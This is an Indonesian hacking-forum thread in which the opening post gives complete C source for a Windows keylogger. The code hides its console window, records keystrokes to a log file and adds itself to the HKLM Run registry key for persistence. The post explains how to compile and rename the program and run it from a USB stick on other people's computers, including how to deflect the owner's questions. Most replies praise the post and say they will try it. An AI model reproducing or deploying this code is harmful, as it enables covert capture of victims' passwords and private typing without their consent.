Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-24-2013, 05:46 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › C / C++ v
« Previous 1 ... 5 6 7 8 9 ... 15 Next »

Membuat Flash disk anda menjadi Hardware Keylogger

Home General Computer Multimedia Business Lounge

Pages (5): 1 2 3 4 5 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
Membuat Flash disk anda menjadi Hardware Keylogger
12-10-2010, 03:55 PM (This post was last modified: 05-06-2011 05:19 PM by armytheludher.)
Post: #1
armytheludher Offline
./Devilz Officer
Posts: 203
Joined: Sep 2010
Reputation: 5
Membuat Flash disk anda menjadi Hardware Keylogger
Hello anak-anak DC, ane bru bkin experiment newbie ni,, mari kita simak,,,



• Pertama agan harus menyediakan flash disk ato USB agan masing-masing (yang g jorok atau bebas virus ya, biar kompu orang g rusak).

• Lalu agan mesti download C++. Bias agan download di http://www.brothersoft.com/dev-c++-65296.html.

• Setelah anda donlod C++, anda buka dan install

• Setelah di install, open dan tulis code ini :


Code:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
  
    int test,create;
    test=test_key();
        
    if (test==2)
    {
        char *path="c:\\%windir%\\Log.exe";
        create=create_key(path);
          
    }
        
  
    int t=get_keys();
    
    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
{
                    
    for(character=8;character<=222;character++)
{
    if(GetAsyncKeyState(character)==-32767)
{  
                            
     FILE *file;
    file=fopen("log.log","a+");
if(file==NULL)
{
return 1;
}            
if(file!=NULL)
{        
if((character>=39)&&(character<=64))
{
    fputc(character,file);
    fclose(file);
    break;
}        
    else if((character>64)&&(character<91))
{
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
}
    else
{
    switch(character)
{
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;    
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                            
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;    
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                                
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                   }    
                              }        
                    }    
                }                  
                    
            }
            return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
    
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        
          
    reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
        
    RegCloseKey(hKey);
    return check;  
}
  
int create_key(char *path)
{  
        int reg_key,check;
        
        HKEY hkey;
        
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
                
        return check;
}



• Nah, setelah itu agan Complie atau run, tapi enakan klik Rebuild All, bias agan temukan di Execute>Rebuild All


• Nah berhubung program sudah jalan, wajib agan end process “Log.exe “nya di Windows Task Manager.Save program dengan nama “Log”.


• Sekarang, coba agan buka my document, pasti dah ada program nya “Log.exe” dan tempat hasil Log-an nya yang bernama “Log”


• Tetapi apabila anda ingin mengganti nama program nya menjadi nama yang anda ingin kan seperti contoh “Bagas”, bias anda ubah code nya di sini

Code:
1.char *path="c:\\%windir%\\Bagas.exe";

2.file=fopen("Bagas.log","a+");

3.reg_key=RegQueryValueEx(hKey,"Bagas",NULL,NULL,(LPBYTE)path,&buf_length);

4.    RegSetValueEx((HKEY)hkey,"Bagas",0,REG_SZ,(BYTE *)path,strlen(path));


• Na, kan sudah menjadi folder, tinggal agan copy ke flash disk


• Selanjutnya, tinggal agan jalanin aja di kompu orang lain lewat flash disk agan, untuk menghentikan “Log.exe’ / Keylogger nya, bisa kalian end process di Windows Task Manager / ctrl+alt+delete

• Tetapi kalau yang punya kompu Tanya “ko flash disk nya g d lepas?”, na tinggal basa-basi da ama yang punya computer,, hehehehhehehehe


Na,,SElesai jg tutor newbie ini, dan jg buat yang da pro + yang da jago abis/ ga usa blajar lgi tentang ginian, mohon kritik nya mas,,,,



(keylogger ini bersifat tersembunyi dan susah untuk di lacak [menurut ane ye], jadi moga-moga bermanfaat deh,,,) hmm
Visit this user's website Find all posts by this user
Quote this message in a reply
 Reputed by :  Ribackon(+1)
12-10-2010, 04:09 PM
Post: #2
m3t3rpr3t3r Offline
./Devilz 1st Cadet
Posts: 6
Joined: Dec 2010
Reputation: 0
RE: Membuat Flash disk anda menjadi Hardware Keylogger
mantabs gan....
Find all posts by this user
Quote this message in a reply
12-10-2010, 04:13 PM
Post: #3
dejavu Offline
./Devilz 1st Cadet
Posts: 15
Joined: Oct 2010
Reputation: 2
RE: Membuat Flash disk anda menjadi Hardware Keylogger
key logger itu artinya apa gan?
Find all posts by this user
Quote this message in a reply
12-10-2010, 04:15 PM
Post: #4
./blacknotes Offline
./Admiral of Devilzc0der
Posts: 2,071
Joined: Jul 2010
Reputation: 101
RE: Membuat Flash disk anda menjadi Hardware Keylogger
Nice inpo om [Image: 3.gif]
[Image: 113.gif] [Image: 113.gif] [Image: 113.gif]
Visit this user's website Find all posts by this user
Quote this message in a reply
12-10-2010, 04:33 PM
Post: #5
supermenganteng Offline
SPA Holic
********
Jendral Team
Posts: 1,961
Joined: Jun 2010
Reputation: -188
RE: Membuat Flash disk anda menjadi Hardware Keylogger
mantap ane ijin coba dl om thnxs for share
Find all posts by this user
Quote this message in a reply
12-10-2010, 08:20 PM
Post: #6
smuch smails cobain Offline
./Devilz 1st Cadet
Posts: 22
Joined: Nov 2010
Reputation: 0
RE: Membuat Flash disk anda menjadi Hardware Keylogger
mantafhp.........
Find all posts by this user
Quote this message in a reply
12-10-2010, 09:42 PM
Post: #7
cotalika Offline
./Devilz Commander
Posts: 351
Joined: Oct 2010
Reputation: 3
RE: Membuat Flash disk anda menjadi Hardware Keylogger
wahhh mau coba dulu ahhh....
maksaih info nya...
Visit this user's website Find all posts by this user
Quote this message in a reply
12-10-2010, 09:56 PM
Post: #8
ndutz.newbie Offline
Asisten Chaer.Newbie
**
Moderators
Posts: 1,295
Joined: Jan 2010
Reputation: 45
RE: Membuat Flash disk anda menjadi Hardware Keylogger
keren om tp pake turbo C juga jalan kok yang penting bisa bwt compile c/C++
Find all posts by this user
Quote this message in a reply
12-11-2010, 01:09 AM
Post: #9
el_nino Offline
Rasa Cokelat
****
Global Moderators
Posts: 795
Joined: Dec 2009
Reputation: 16
RE: Membuat Flash disk anda menjadi Hardware Keylogger
mantaapp mantap

kayaknya enak juga neh mantap
Visit this user's website Find all posts by this user
Quote this message in a reply
12-11-2010, 10:11 AM
Post: #10
agung_guantz Offline
./Devilz 1st Cadet
Posts: 25
Joined: Nov 2010
Reputation: 0
RE: Membuat Flash disk anda menjadi Hardware Keylogger
wahh,,mantap tu .
yak coba dulu om.
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (5): 1 2 3 4 5 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] membuat reverse connecting shellcode (pesanan papa schumbag) ack_attack 10 709 04-27-2013 04:47 AM
Last Post: Xr0b0t
  [Solved] Membuat Animasi 2D openGL artop 2 173 11-10-2012 04:06 PM
Last Post: artop
Rainbow [Tutor] membuat project pada visual studio c++ qball006_error 7 176 11-04-2012 02:17 PM
Last Post: qball006_error
  membuat aplikasi DosTool oktori yusan 11 488 09-18-2012 04:05 PM
Last Post: oktori yusan
  [Tutor] membuat jendela/window atau form awal TOR 4 450 03-30-2012 02:07 AM
Last Post: noe
  Cara Membuat Program Hello World di C mywisdom 14 5,390 01-07-2012 04:46 PM
Last Post: CyberKaze
  script membuat game qball006_error 3 1,228 05-22-2011 02:44 PM
Last Post: chaer.newbie
  membuat program bahasa C sederhana di ubuntu rhecizen 5 3,211 05-10-2011 08:41 AM
Last Post: bogenk
Rainbow [Ask] [BERTANYA] Membuat Aplikasi with VB6 fade2 2 1,771 12-17-2010 04:25 PM
Last Post: victor241196
  membuat DLL injection digame Binaryx86 4 1,733 10-09-2010 01:52 PM
Last Post: El-Farhatz

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-24-2013, 05:46 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE